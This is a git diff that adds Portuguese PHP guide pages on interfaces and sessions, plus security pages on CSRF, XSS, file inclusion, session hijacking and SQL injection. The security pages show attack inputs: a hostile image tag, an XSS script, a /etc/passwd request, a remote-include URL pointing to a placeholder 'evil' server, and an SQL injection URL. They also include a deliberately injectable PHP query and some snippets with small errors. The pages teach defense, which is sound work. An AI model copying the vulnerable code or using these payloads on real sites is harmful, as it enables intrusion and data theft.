+*   Variáveis ​​(propriedades) não podem ser definidas dentro da interface.
+    
+*   Todos os métodos definidos dentro da interface precisam ser implementados na classe filho (implementação).
+    
+*   Todas as variáveis ​​necessárias precisam ser definidas dentro da classe filha.
+    
+*   Man interface impõe suas classes de implementação para implementar todos os métodos na interface.
+    
+
+Então, qual é o uso de interfaces?
+
+Não podemos simplesmente criar uma nova classe AthleticMan e criar todos os métodos em vez de implementar a interface?
+
+É aqui que os _Padrões de Design_ entram em jogo.
+
+Interfaces são usadas quando há uma classe base ( `Man` ) que quer obrigar você a fazer as coisas (construir um objeto, darFirmHandshakes, serStubborn, notPutToiletPaper e verificar se você está ativo), mas não quer dizer exatamente como fazê-lo .
+
+Você pode ir em frente e criar classes de implementação com implementações conforme julgar adequado.
+
+Contanto que todos os métodos sejam implementados, a interface do `Man` não se importa como.
+
+Nós revisamos como e quando usar classes abstratas e interfaces em PHP. Usando esses conceitos OOP para ter classes com diferentes funcionalidades compartilhando a mesma base “blueprint” (classe abstrata ou interface) é chamado Polimorfismo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/pp-sessions/index.md b/client/src/guide/portuguese/php/pp-sessions/index.md
new file mode 100644
index 0000000000..00e803bb3b
--- /dev/null
+++ b/client/src/guide/portuguese/php/pp-sessions/index.md
@@ -0,0 +1,143 @@
+---
+title: PHP Sessions
+localeTitle: Sessões PHP
+---
+# Sessões PHP
+
+Uma sessão é uma maneira de armazenar informações (em variáveis) a serem usadas em várias páginas.  
+Ao contrário de um cookie, as informações não são armazenadas no computador do usuário.
+
+## O que é uma sessão PHP?
+
+Quando você trabalha com um aplicativo, você o abre, faz algumas alterações e depois o fecha. Isso é muito parecido com uma sessão.  
+O computador sabe quem você é. Sabe quando você inicia o aplicativo e quando você termina.  
+Mas na internet há um problema: o servidor web não sabe quem você é ou o que você faz, porque o endereço HTTP _não mantém o estado_ .
+
+As variáveis ​​de sessão resolvem esse problema armazenando informações do usuário a serem usadas em várias páginas (por exemplo, nome de usuário, cor favorita, etc).  
+Por padrão, as variáveis ​​de sessão duram até que o usuário feche o navegador.
+
+**As variáveis ​​de sessão armazenam informações sobre um único usuário e estão disponíveis para todas as páginas em um aplicativo.**
+
+**Nota:** Se você precisar de um armazenamento permanente, poderá armazenar os dados em um banco de dados.
+
+## Inicie uma sessão do PHP
+
+Uma sessão é iniciada com a função _session_ start () \_.  
+As variáveis ​​de sessão são configuradas com a variável global PHP: $ \_SESSION.
+
+**Exemplo:**
+```
+<?php 
+ // Start the session 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Set session variables 
+ $_SESSION["favcolor"] = "blue"; 
+ $_SESSION["favanimal"] = "dog"; 
+ echo "Session variables are set."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+**Nota:** A função session\_start () deve ser a **primeira coisa** no seu documento. **Antes de** qualquer tag HTML.
+
+Saída:  
+Variáveis ​​de sessão são definidas.
+
+## Obter valores de variável de sessão PHP
+
+Observe que as variáveis ​​de sessão não são passadas individualmente para cada nova página, em vez disso, elas são recuperadas da sessão que abrimos no início de cada página (session\_start ()).
+
+Observe também que todos os valores de variáveis ​​de sessão são armazenados na variável global $ \_SESSION:
+
+**Exemplo:**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Echo session variables that were set on previous page 
+ echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>"; 
+ echo "Favorite animal is " . $_SESSION["favanimal"] . "."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+Saída:  
+A cor favorita é azul.  
+Animal favorito é cachorro.
+
+Outra maneira de mostrar todos os valores de variáveis ​​de sessão para uma sessão de usuário é executar o seguinte código:
+```
+<?php 
+ print_r($_SESSION); 
+ ?> 
+```
+
+### Como funciona?
+
+A maioria das sessões define uma chave de usuário no computador do usuário que se parece com algo assim: 765487cf34ert8dede5a562e4f3a7e12.  
+Então, quando uma sessão é aberta em outra página, ela verifica a chave do usuário no computador.  
+Se houver uma correspondência, ela acessará essa sessão; caso contrário, iniciará uma nova sessão.
+
+## Modificar uma variável de sessão
+
+Para alterar uma variável de sessão, basta sobrescrevê-la:
+
+**Exemplo:**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // to change a session variable, just overwrite it 
+ $_SESSION["favcolor"] = "pink"; 
+ print_r($_SESSION); 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+## Destrua uma sessão do PHP
+
+Para remover todas as variáveis ​​de sessão globais e destruir a sessão, use _session_ unset () \_ e _session_ destroy () \_:
+
+**Exemplo:**
+```
+<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // remove all session variables 
+ session_unset(); 
+ 
+ // destroy the session 
+ session_destroy(); 
+ ?> 
+ 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/cross-site-request-forgery/index.md b/client/src/guide/portuguese/php/security/cross-site-request-forgery/index.md
new file mode 100644
index 0000000000..9422adb452
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/cross-site-request-forgery/index.md
@@ -0,0 +1,58 @@
+---
+title: Cross Site Request Forgery
+localeTitle: Falsificação de Solicitação de Site Cruzado
+---
+## Falsificação de Solicitação de Site Cruzado
+
+O Cross Site Request Forgery é uma vulnerabilidade no aplicativo causada pelo programador que não verifica de onde uma solicitação foi enviada - esse ataque é enviado a um usuário de alto nível de privilégio para obter acesso de nível superior ao aplicativo.
+
+### Exemplo de ataque de falsificação de solicitação de site cruzado
+
+Um blog on-line permite que os usuários enviem comentários e incluam uma imagem no comentário. O painel de administração do blog permite que o autor do blog exclua um comentário carregando o URL `/admin/deletecomment.php?id=123` . Um usuário mal-intencionado poderia criar uma tag de imagem que carregasse o URL de comentário de exclusão, por exemplo `<img src="/admin/deletecomment.php?id=123" />` próxima vez que um administrador visualizar o comentário, o computador do administrador carregará o URL e apague o número do comentário 123.
+
+### Defendendo seu site contra ataques de falsificação de solicitação entre sites em PHP
+
+Para se defender contra um ataque de falsificação de solicitação de site cruzado, você deve verificar um token alterado regularmente. A URL `/admin/deletecomment.php?id=123` mudaria para `/admin/deletecomment.php?id=123&csrf-token=random-per-user-unique-string-here` .
+
+```PHP
+<?php 
+ // Checking a request's CSRF Token (if true the comment is deleted, if false the comment remains.) 
+ session_start(); 
+ if ($_GET['csrf-token'] == $_SESSION['csrf-token']){ 
+  return true; 
+ } else { 
+  return false; 
+ } 
+```
+
+**Dicas:**
+
+*   Mantenha um Token CSRF completamente aleatório e mude por sessão (as funções openssl podem ajudar com isso)
+*   Sessões PHP são úteis para armazenar um Token CSRF acessível tanto para o usuário quanto para o servidor, você também pode fazer com que este banco de dados de processo seja conduzido se você estiver inclinado.
+*   Altere o token do CSRF em uma sessão a cada 24 horas. Em um aplicativo de alto risco, talvez você deseje alterá-lo a cada solicitação bem-sucedida, mas isso causará problemas para os usuários que usam várias guias.
+
+#### Gerando com segurança um token
+
+Ao definir um Token CSRF, é importante que seja impossível adivinhar a chave. As funções OpenSSL no PHP podem gerar uma chave aleatória para você e armazenar como uma variável de sessão.
+
+```PHP
+<?php 
+ session_start(); 
+ $_SESSION['csrf-token'] = bin2hex(openssl_random_pseudo_bytes(16)); 
+```
+
+#### Usando um token CSRF para concluir solicitações legítimas
+
+Você pode incluir a variável de sessão que você salvou anteriormente com o seu token de CSRF no URL. Certifique-se de que um administrador legítimo tenha permissão para excluir comentários. Sem o token correto, a solicitação será bloqueada.
+
+```PHP
+<?php 
+ session_start(); 
+ echo '<a href="/admin/?id=123&csrf-token='.$_SESSION['csrf-token'].'">Delete Comment</a>'; // Only the logged in user has access to the CSRF Token - the token isn't accessible to the attacker preventing their attack from being successful. 
+```
+
+#### Mais Informações:
+
+*   [OWASP Wiki - Falsificação de Solicitação de Site Cruzado](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
+*   [Manual do php.net bin2hex ()](https://secure.php.net/manual/en/function.bin2hex.php)
+*   [php.net openssl\_random\_pseudo\_bytes () manual](https://secure.php.net/manual/en/function.openssl-random-pseudo-bytes.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/cross-site-scripting/index.md b/client/src/guide/portuguese/php/security/cross-site-scripting/index.md
new file mode 100644
index 0000000000..8e57614270
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/cross-site-scripting/index.md
@@ -0,0 +1,83 @@
+---
+title: Cross Site Scripting
+localeTitle: Cross Site Scripting
+---
+## Cross Site Scripting
+
+Cross Site Scripting é um tipo de vulnerabilidade em um aplicativo da web causado pelo programador não sanear a entrada antes de enviar a entrada para o navegador da web (por exemplo, um comentário em um blog). É comumente usado para executar JavaScript mal-intencionado no navegador da Web para fazer ataques, como roubar cookies de sessão entre outras ações maliciosas, para obter privilégios de nível superior no aplicativo da Web.
+
+### Exemplo de ataque de script entre sites
+
+Um blog permite que os usuários estilizem seus comentários com tags HTML, no entanto, o script que alimenta o blog não elimina as tags `<script>` permitindo que qualquer usuário execute o javascript na página. Um invasor pode usar isso como vantagem para executar JavaScript mal-intencionado no navegador. Eles podem infectar usuários com malware, roubar cookies de sessão e muito mais.
+
+```HTML
+<script> 
+  alert('Cross Site Scripting!'); 
+ </script> 
+```
+
+### Defendendo seu site contra ataques de script entre sites em PHP
+
+No PHP, existem duas funções principais, `htmlspecialchars()` e `strip_tags()` , embutidas para se proteger contra ataques de script entre sites.
+
+A função `htmlspecialchars($string)` impedirá que uma string HTML seja processada como HTML e a exiba como texto simples no navegador da web. **exemplo de código htmlspecialchars ()**
+
+```PHP
+<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ echo htmlspecialchars($usercomment); 
+```
+
+A outra abordagem é a `strip_tags($string, $allowedtags)` que remove todas as tags HTML, exceto as tags HTML que você `strip_tags($string, $allowedtags)` lista de permissões. É importante notar que com a `strip_tags()` você tem que ter mais cuidado, esta função não impede o usuário de incluir o javascript como um link, você terá que higienizar isso por conta própria.
+
+**exemplo de código strip\_tags ()**
+
+```php
+<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ $allowedtags = "<p><a><h1><h2><h3>"; 
+ echo strip_tags($usercomment, $allowedtags); 
+```
+
+**Definindo o cabeçalho de proteção X-XSS:**
+
+No PHP você pode enviar o `X-XSS-Protection` Header, que dirá aos navegadores para verificar se há um ataque Cross Site Scripting refletido e bloquear o carregamento da página. Isso não impede que todos os ataques de script entre sites sejam apenas refletidos e devem ser usados ​​em combinação com outros métodos.
+
+```PHP
+<?php 
+ header("X-XSS-Protection: 1; mode=block"); 
+```
+
+**Escrevendo sua própria função de higienização** Outra opção, se você quiser mais controle sobre como a sanitização funciona, é escrever sua própria função de Sanitização de HTML, isso não é recomendado para iniciantes em PHP, pois um erro tornaria seu site vulnerável.
+
+### Defendendo seu site contra ataques de script entre sites com uma política de segurança de conteúdo
+
+Uma abordagem eficaz para impedir ataques de script entre sites, que podem exigir muitos ajustes no design e na base de código de seu aplicativo da Web, é usar uma política de segurança de conteúdo.
+
+#### Definir uma política de segurança de conteúdo como um cabeçalho HTTP
+
+A maneira mais comum de definir uma política de segurança de conteúdo é configurando-a diretamente no cabeçalho HTTP. Isso pode ser feito pelo servidor da Web editando sua configuração ou enviando-o pelo PHP.
+
+**Exemplo de uma política de segurança de conteúdo definida em um cabeçalho HTTP**
+
+```php
+<?php 
+ header("content-security-policy: default-src 'self'; img-src https://*; child-src 'none';"); 
+```
+
+#### Definir uma política de segurança de conteúdo como metatags
+
+Você pode incluir sua Política de segurança de conteúdo no HTML da página e defini-la página por página. Este método requer que você defina em cada página ou você perde o benefício da política.
+
+**Exemplo de uma política de segurança de conteúdo definida em uma meta tag HTML**
+
+```HTML
+<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 
+```
+
+#### Mais Informações:
+
+*   [OWASP Wiki - Cross Site Scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
+*   [php.net strip\_tags () manual](https://secure.php.net/manual/en/function.strip-tags.php)
+*   [php.net htmlspecialchars () manual](https://secure.php.net/manual/en/function.htmlspecialchars.php)
+*   [MDN - Política de segurança de conteúdo (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/index.md b/client/src/guide/portuguese/php/security/index.md
new file mode 100644
index 0000000000..2b9f3d7377
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: Segurança
+---
+## Segurança
+
+Ao escrever código PHP, é muito importante ter em mente os conceitos de segurança para evitar escrever código vulnerável.
+
+### Tipos de vulnerabilidades
+
+*   [Falsificação de Solicitação de Site Cruzado](/php/security/cross-site-request-forgery) Uma vulnerabilidade no aplicativo causada pelo programador que não verifica de onde uma solicitação foi enviada - esse ataque é enviado a um usuário de alto nível de privilégio para obter acesso de nível mais alto ao aplicativo.
+*   [Cross Site Scripting](/php/security/cross-site-scripting) Uma vulnerabilidade no aplicativo causada pelo programador que não limpa a entrada antes de enviar a entrada para o navegador (por exemplo, um comentário em um blog). É comumente usado para executar JavaScript mal-intencionado no navegador para fazer ataques como roubar cookies de sessão entre outras ações maliciosas para obter privilégios de nível superior no aplicativo.
+*   [Inclusão de Arquivos Locais](/php/security/local-file-inclusion) Uma vulnerabilidade no aplicativo causada pelo programador que requer uma entrada de arquivo fornecida pelo usuário e não desinfetando a entrada antes de acessar o arquivo solicitado. Isso resulta em um arquivo sendo incluído onde não deveria estar.
+*   [Inclusão remota de arquivos](/php/security/remote-file-inclusion) Uma vulnerabilidade no aplicativo causada pelo programador que requer uma entrada de arquivo fornecida pelo usuário e não desinfecta a entrada antes de acessar o arquivo solicitado. Isso resulta em um arquivo sendo extraído de um servidor remoto e incluído onde não deveria estar.
+*   [Sequestramento de Sessão](/php/security/session-hijacking) Uma vulnerabilidade causada por um invasor que obtém acesso ao identificador de sessão de um usuário e pode usar a conta de outro usuário representando-o. Isso geralmente é usado para obter acesso a uma conta de usuário administrativo.
+*   [Identificação de sessão Identificador de sessão de aquisição O](/php/security/session-identifier-acquirement) identificador é uma vulnerabilidade causada por um invasor que pode adivinhar o identificador de sessão de um usuário ou explorar vulnerabilidades no próprio aplicativo ou no navegador do usuário para obter um identificador de sessão.
+*   [Injeção SQL](/php/security/sql-injection) Uma vulnerabilidade no aplicativo causada pelo programador que não limpa a entrada antes de incluí-la em uma consulta no banco de dados. Isso faz com que o invasor tenha leitura completa e, com mais frequência, não tenha acesso de gravação ao banco de dados. Com esse tipo de acesso, um invasor pode fazer coisas muito ruins.
+
+#### Mais Informações:
+
+[Página de Ataques do Wiki do OWASP](https://www.owasp.org/index.php/Category:Attack)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/local-file-inclusion/index.md b/client/src/guide/portuguese/php/security/local-file-inclusion/index.md
new file mode 100644
index 0000000000..e4a153c8ef
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/local-file-inclusion/index.md
@@ -0,0 +1,24 @@
+---
+title: Local File Inclusion
+localeTitle: Inclusão de arquivos locais
+---
+## Inclusão de arquivos locais
+
+Uma vulnerabilidade no aplicativo causada pelo programador exigindo uma entrada de arquivo fornecida pelo usuário e não sanitizando a entrada antes de acessar o arquivo solicitado. Isso resulta em um arquivo sendo incluído onde não deveria estar.
+
+### Exemplo de ataques de inclusão de arquivos locais
+
+Um site permite que você visualize PDFs como `download.php?file=myfile.php` , devido à falta de verificação adequada, um usuário mal-intencionado pode solicitar / etc / passwd e obter informações confidenciais de configuração do servidor web.
+
+### Defendendo seu site de ataques de inclusão de arquivos locais em PHP
+
+```PHP
+<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+```
+
+#### Mais Informações:
+
+*   [OWASP Wiki - Teste de inclusão de arquivos locais](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/remote-file-inclusion/index.md b/client/src/guide/portuguese/php/security/remote-file-inclusion/index.md
new file mode 100644
index 0000000000..cea96dbed3
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/remote-file-inclusion/index.md
@@ -0,0 +1,28 @@
+---
+title: Remote File Inclusion
+localeTitle: Inclusão remota de arquivos
+---
+## Inclusão remota de arquivos
+
+Uma vulnerabilidade no aplicativo causada pelo programador exigindo uma entrada de arquivo fornecida pelo usuário e não sanitizando a entrada antes de acessar o arquivo solicitado. Isso resulta em um arquivo sendo extraído de um servidor remoto e incluído onde não deveria estar.
+
+### Exemplo de ataques de inclusão de arquivos remotos
+
+Um site permite que você visualize PDFs como `download.php?file=myfile.php` , devido à falta de uma verificação adequada, um usuário mal-intencionado pode solicitar um recurso remoto e incluí-lo no script. A URL pode tornar-se `download.php?file=http://myevilserver.gtld/evilcode.php` isso pode ser enviado para o usuário ou, em casos graves, executar o código PHP real em seu servidor.
+
+### Defendendo seu site contra ataques de inclusão de arquivos remotos em PHP
+
+O código PHP a seguir fornecerá uma proteção forte contra ataques remotos de inclusão de arquivos
+
+```PHP
+<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+```
+
+*   Você pode desativar o `allow_url_fopen` no seu arquivo php.ini como uma proteção adicional contra a inclusão de arquivos remotos.
+
+#### Mais Informações:
+
+*   [OWASP Wiki - Teste de Inclusão Remota de Arquivos](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/session-hijacking/index.md b/client/src/guide/portuguese/php/security/session-hijacking/index.md
new file mode 100644
index 0000000000..dfcea5375a
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/session-hijacking/index.md
@@ -0,0 +1,45 @@
+---
+title: Session Hijacking
+localeTitle: Sequestro de Sessão
+---
+## Sequestro de Sessão
+
+O sequestro de sessão é uma vulnerabilidade causada por um invasor que obtém acesso ao identificador de sessão de um usuário e pode usar a conta de outro usuário para representá-lo. Isso geralmente é usado para obter acesso a uma conta de usuário administrativo.
+
+### Defesa contra ataques de sequestro de sessão em PHP
+
+Para se defender contra ataques de invasão de sessão, você precisa verificar as informações de localização e navegador do usuário atual em relação às informações armazenadas sobre a sessão. Abaixo está um exemplo de implementação que pode ajudar a mitigar os efeitos de um ataque de seqüestro de sessão. Ele verifica o endereço IP, o agente do usuário e se a sessão expirou, removendo uma sessão antes que ela seja retomada.
+
+```PHP
+<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+```
+
+#### Mais Informações:
+
+*   [manual de segurança da sessão do php.net](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/session-identifier-acquirement/index.md b/client/src/guide/portuguese/php/security/session-identifier-acquirement/index.md
new file mode 100644
index 0000000000..87f19f2e7b
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/session-identifier-acquirement/index.md
@@ -0,0 +1,60 @@
+---
+title: Session Identifier Acquirement
+localeTitle: Identificação de Identificador de Sessão
+---
+## Identificação de Identificador de Sessão
+
+Identificador de sessão A aquisição é uma vulnerabilidade causada por um invasor que pode adivinhar o identificador de sessão de um usuário ou explorar vulnerabilidades no próprio aplicativo ou no navegador do usuário para obter um identificador de sessão. Esse ataque é um pré-requisito para executar um ataque de seqüestro de sessão.
+
+### Exemplo
+
+Um invasor tem algumas opções para executar um ataque de aquisição de identificador de sessão.
+
+*   Adivinhando o Identificador: Um identificador de sessão curto e adivinhavel pode permitir que um invasor force brutalmente a ID de uma sessão e entre.
+*   Atacando o navegador: no caso de armazenar seu identificador de sessão nos cookies do navegador - se o site estiver vulnerável a scripts entre sites, um invasor poderá usar a vulnerabilidade para coletar cookies de identificadores de sessão e acessar áreas de alto nível de privilégio (por exemplo, um painel de administração) .
+*   Alterando o ID para a escolha do invasor: Em versões mais antigas do PHP, você podia definir o ID de uma sessão no URL. Ele está desabilitado por padrão agora, em caso de dúvida, certifique-se de que `session.use_trans_sid` seja false. Este não é mais um problema comum, no entanto, ainda pode acontecer, melhor prevenir do que remediar.
+
+### Defesa contra ataques de aquisição de Identificador de Sessão em PHP
+
+Para se defender contra ataques de Identificador de Sessão, você precisa verificar a tentativa de acesso à sessão em relação a vários fatores para confirmar se é um acesso legítimo e evitar que o usuário seqüestre a sessão do usuário. Abaixo está uma implementação de exemplo que pode ajudar a atenuar os efeitos de um ataque de aquisição de identificador de sessão. Ele verifica o endereço IP, o agente do usuário e se a sessão expirou, removendo uma sessão antes que ela seja adquirida.
+
+```PHP
+<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+```
+
+**Dicas:**
+
+*   Armazene muitas informações sobre a sessão atual (String do Agente do Usuário, Endereço IP, Horário do Último Acesso, etc)
+*   Verifique cada pedido em relação a informações armazenadas sobre a sessão (Isso corresponde? Se não excluir a sessão e exigir que o usuário faça o login novamente)
+*   As sessões não devem durar para sempre - elas devem expirar em determinado momento para manter a segurança da sessão.
+*   Taxa limite a quantidade de sessões que um usuário pode tentar acessar (um usuário tentou acessar mais de 1000 sessões inválidas? É provável que elas estejam supondo - evite que o endereço IP tente mais sessões por algumas horas).
+
+#### Mais Informações:
+
+*   [manual de segurança da sessão do php.net](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/security/sql-injection/index.md b/client/src/guide/portuguese/php/security/sql-injection/index.md
new file mode 100644
index 0000000000..c79e98b678
--- /dev/null
+++ b/client/src/guide/portuguese/php/security/sql-injection/index.md
@@ -0,0 +1,76 @@
+---
+title: SQL Injection
+localeTitle: Injeção SQL
+---
+## Injeção SQL
+
+Uma vulnerabilidade no aplicativo causada pelo programador que não limpa a entrada antes de incluí-la em uma consulta no banco de dados. Isso faz com que o invasor tenha leitura completa e, com mais frequência, não tenha acesso de gravação ao banco de dados. Com esse tipo de acesso, um invasor pode fazer coisas muito ruins.
+
+### Exemplo de ataque de injeção de SQL
+
+O script PHP abaixo executa uma instrução SQL para obter o e-mail de um usuário por ID. No entanto, a entrada não é higienizada, tornando-a vulnerável à injeção de SQL
+
+```PHP
+<?php 
+ $input = $_GET['id']; 
+ $dbserver = "localhost"; 
+ $dbuser = "camper"; 
+ $dbpass = "supersecretcampsitepassword"; 
+ $dbname = "freecodecamp"; 
+ 
+ $conn = new mysqli($dbserver, $dbuser, $dbpass, $dbname); 
+ 
+ if ($conn->connect_error) { 
+    die("Connection failed: " . $conn->connect_error); 
+ } 
+ 
+ $sql = "SELECT email FROM users WHERE id =" . $input; 
+ 
+ $result = $conn->query($sql); 
+ 
+ if ($result->num_rows > 0) { 
+    while($row = $result->fetch_assoc()) { 
+        echo $row["email"]; 
+    } 
+ } else { 
+    echo "no results"; 
+ } 
+ 
+ $conn->close(); 
+```
+
+```SQL
+SELECT email FROM users WHERE id = `$input`; 
+```
+
+Assim, com o acima, a entrada não é do tipo convertida (ou seja, lançando a entrada com (int) para que somente um número seja permitido) nem escapando permitindo que alguém execute um ataque SQL Injection - por exemplo, a URL `getemailbyuserid.php?id=1'; My Query Here-- -` permite que você execute consultas SQL arbitrárias com pouco esforço.
+
+### Defendendo seu site de ataques de injeção de SQL em PHP
+
+Existem algumas abordagens para defender seu site dos ataques de injeção SQL. Essas abordagens são lista branca, conversão de tipo e escape de caractere
+
+**Lista de permissões:** A abordagem de lista de desbloqueio é usada nos casos em que apenas algumas entradas são esperadas. Você pode listar cada entrada esperada em um Comutador PHP e, em seguida, ter um padrão para entrada inválida. Você não precisa se preocupar com um problema de transmissão de tipo ou um bypass de escape de caractere, mas a entrada permitida é extremamente limitada. Continua uma opção, veja o exemplo abaixo.
+
+```PHP
+<?php 
+ switch ($input) { 
+  case "1": 
+    //db query 1 
+    break; 
+  case "2": 
+    //db query 2 
+    break; 
+  default: 
+    // invalid input return error 
+ } 
+```
+
+**Tipo de fundição:** A abordagem de conversão de tipos é comumente usada para um aplicativo usando entrada numérica. Basta converter a entrada com `(int) $input` e somente um valor numérico será permitido.
+
+**Escapando personagem:** A abordagem de escape de caracteres irá escapar de caracteres como aspas e barras fornecidas pelo usuário para evitar um ataque. Se você estiver usando o MySQL Server e a biblioteca MySQLi para acessar seu banco de dados, a função `mysqli_real_escape_string($conn, $string)` receberá dois argumentos, a conexão MySQLi e a string e irá escapar da entrada do usuário para bloquear um ataque de injeção SQL . A função exata que você usa depende do tipo de banco de dados e da biblioteca php que você está usando, verifique a documentação da biblioteca php para obter mais informações sobre como escapar da entrada do usuário.
+
+#### Mais Informações:
+
+*   [OWASP Wiki - Injeção de SQL](https://www.owasp.org/index.php/SQL_Injection)
+*   [manual da injeção do PHP php.net](https://secure.php.net/manual/en/security.database.sql-injection.php)
+*   [php.net MySQLi Real Escape String manual](https://secure.php.net/manual/en/mysqli.real-escape-string.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/sessions/index.md b/client/src/guide/portuguese/php/sessions/index.md
new file mode 100644
index 0000000000..70a331b1b6
--- /dev/null
+++ b/client/src/guide/portuguese/php/sessions/index.md
@@ -0,0 +1,60 @@
+---
+title: Sessions
+localeTitle: Sessões
+---
+## Sessões
+
+As sessões são um recurso em PHP que permite armazenar o lado do servidor de dados sobre um usuário. Quando uma sessão é configurada, um cookie do navegador é configurado, o qual identifica o usuário para o PHP, para que o PHP saiba quais variáveis ​​do lado do servidor devem ser acessadas.
+
+### Começando uma sessão
+
+Em cada página que você deseja acessar a sessão, você precisará iniciar (ou carregar) a sessão. Para fazer isso, execute a função `session_start()` que carrega o PHP Session System.
+
+```PHP
+<?php 
+ session_start(); 
+```
+
+Por favor, note que ao usar sessões baseadas em cookies, session\_start () deve ser chamado antes de produzir qualquer coisa para o navegador. qualquer outra coisa resultará em um erro.
+
+### Acessando e configurando dados em uma sessão
+
+A `$_SESSION['key']` é um tipo especial de array (usando um cookie de navegador para determinar qual sessão acessar).
+
+No exemplo abaixo, você vê que a escolha do tema do usuário está definida como o tema número um.
+
+```PHP
+<?php 
+ session_start(); 
+ $_SESSION['themechoice'] = 1; 
+```
+
+Acessar uma variável de sessão é semelhante a definir uma. Simplesmente inclua a variável onde ela precisa ser acessada. Por exemplo, ecoando como mostrado no exemplo de código abaixo.
+
+```PHP
+<?php 
+ session_start(); 
+ echo $_SESSION['themechoice']; 
+```
+
+### Removendo uma Sessão
+
+Para remover uma sessão do sistema, execute o seguinte código PHP. Ele irá desconfigurar as variáveis ​​da sessão e apagá-lo do sistema.
+
+```PHP
+<?php 
+ session_unset(); 
+ session_destroy(); 
+```
+
+### Sessões são temporárias
+
+É importante não tratar uma sessão como armazenamento permanente. Eles são limpos de tempos em tempos pelo desenvolvedor, sempre que o aplicativo é movido para um novo servidor host, pelo próprio aplicativo (por exemplo, um botão de logout) e até mesmo durante a manutenção do servidor. Para armazenamento a longo prazo de dados, certifique-se de usar um banco de dados.
+
+### Segurança
+
+Por último, mas não menos importante, é importante usar sessões php com segurança. Leia nosso artigo sobre [aquisição de identificadores de](/php/security/session-identifier-acquirement) [sessão](/php/security/session-hijacking) e [sequestro de sessão](/php/security/session-hijacking) para obter mais informações.
+
+#### Mais Informações:
+
+*   [manual da sessão do php.net](https://secure.php.net/manual/en/book.session.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/strings/index.md b/client/src/guide/portuguese/php/strings/index.md
new file mode 100644
index 0000000000..bc932b7151
--- /dev/null
+++ b/client/src/guide/portuguese/php/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: Cordas
+---
+## Cordas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/strings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/super-globals/index.md b/client/src/guide/portuguese/php/super-globals/index.md
new file mode 100644
index 0000000000..0289887c62
--- /dev/null
+++ b/client/src/guide/portuguese/php/super-globals/index.md
@@ -0,0 +1,11 @@
+---
+title: Super Globals
+localeTitle: Super Globals
+---
+## Super Globals
+
